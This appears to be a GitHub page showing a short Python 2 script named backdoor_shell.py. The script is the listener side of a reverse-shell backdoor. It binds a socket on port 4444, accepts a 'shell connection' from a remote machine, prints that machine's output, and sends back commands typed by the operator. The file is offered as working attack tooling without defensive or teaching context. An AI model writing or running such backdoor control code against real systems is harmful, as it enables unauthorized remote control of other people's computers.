-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathbackdoor_shell.py
40 lines (30 loc) · 904 Bytes
/
backdoor_shell.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import socket
import sys
host = "192.168.244.1"
port = 4444
server = socket.socket( socket.AF_INET, socket.SOCK_STREAM )
server.bind( ( host, port ) )
server.listen( 5 )
print "[*] Server bound to %s:%d" % ( host , port )
connected = False
while 1:
#accept connections from outside
if not connected:
(client, address) = server.accept()
connected = True
print "[*] Accepted Shell Connection"
buffer = ""
while 1:
try:
recv_buffer = client.recv(4096)
print "[*] Received: %s" % recv_buffer
if not len(recv_buffer):
break
else:
buffer += recv_buffer
except:
break
# We've received everything, now it's time to send some input
command = raw_input("Enter Command> ")
client.sendall( command + "\r\n\r\n" )
print "[*] Sent => %s" % command